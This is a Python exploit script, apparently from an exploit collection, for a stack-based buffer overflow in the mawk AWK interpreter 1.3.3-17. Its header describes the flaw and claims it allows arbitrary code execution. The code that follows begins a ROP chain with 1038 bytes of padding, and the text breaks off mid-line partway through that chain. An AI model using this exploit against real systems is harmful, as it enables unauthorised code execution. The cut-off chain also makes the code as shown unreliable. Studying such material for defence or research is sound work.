#!/usr/bin/python # Developed using Exploit Pack - http://exploitpack.com - # Exploit Author: Juan Sacco at KPN Red Team - http://www.kpn.com # Tested on: GNU/Linux - Kali 2017.1 Release # # Description: MAWK ( AWK Interpreter ) 1.3.3-17 and prior is prone to a stack-based buffer overflow # vulnerability because the application fails to perform adequate boundary-checks on user-supplied input. # # Program affected: mawk is an interpreter for the AWK Programming Language. The AWK language is useful # for manipulation of data files, text retrieval and processing, and for prototyping and experimenting with algorithms. # # An attacker could exploit this vulnerability to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # import os, subprocess from struct import pack ropchain = "A"*1038 # junk ropchain += pack('